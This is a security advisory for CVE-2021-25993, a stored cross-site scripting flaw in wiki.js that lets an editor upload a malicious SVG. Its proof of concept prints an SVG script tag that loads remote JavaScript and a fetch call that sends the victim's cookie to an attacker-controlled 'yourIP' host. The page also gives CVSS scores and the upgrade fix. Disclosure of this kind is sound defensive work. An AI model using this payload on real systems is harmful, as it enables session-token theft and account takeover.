icon

We found results for “

CVE-2021-25993

Date: December 29, 2021

Overview

In “wiki.js”, versions 2.0.0-beta.147 to 2.5.255 are affected by Stored XSS vulnerability, where a low privileged (editor) user can upload a SVG file that contains malicious JavaScript while uploading assets in the page. That will send the JWT tokens to the attacker’s server and will lead to account takeover when accessed by the victim.

Details

The “wiki.js” application is affected by Stored XSS vulnerability, where a low privileged (editor) user can upload a SVG file that contains malicious JavaScript while uploading assets in the page. That will send the JWT tokens to the attacker’s server which leads to account takeover when accessed by the victim.

PoC Details

Access the application and login with editor credentials and click on the edit page. Now select insert assets and upload the malicious SVG file and save the page. Inside xss.js, put the malicious payload (provided below), while in your SVG file add a script tag with href value of xss.js location. Host the xss.js file in your local machine (for example by running the command “python -m http.server 80”). Now login as an admin user and open the uploaded SVG file in a new tab. The JavaScript in the file gets executed and sends the cookie to the attacker's address. An attacker can make use of jwt tokens received on his server to take over the victim's account.

PoC Code

xss.js file content: 
fetch('http://yourIP/'+document.cookie);
 
malicious SVG file content: 
<script href="http://yourIP/xss.js"> </script>

Affected Environments

2.0.0-beta.147--2.5.255

Prevention

Update to version 2.5.260 or later

Language: VUE

Good to know:

icon

Cross-Site Scripting (XSS)

CWE-79
icon

Upgrade Version

Upgrade to version 2.5.260

Learn More

Base Score:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): Low
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): Low
Integrity (I): Low
Availability (A): None
Base Score:
Access Vector (AV): Network
Access Complexity (AC): Medium
Authentication (AU): Single
Confidentiality (C): None
Integrity (I): Partial
Availability (A): None
Additional information: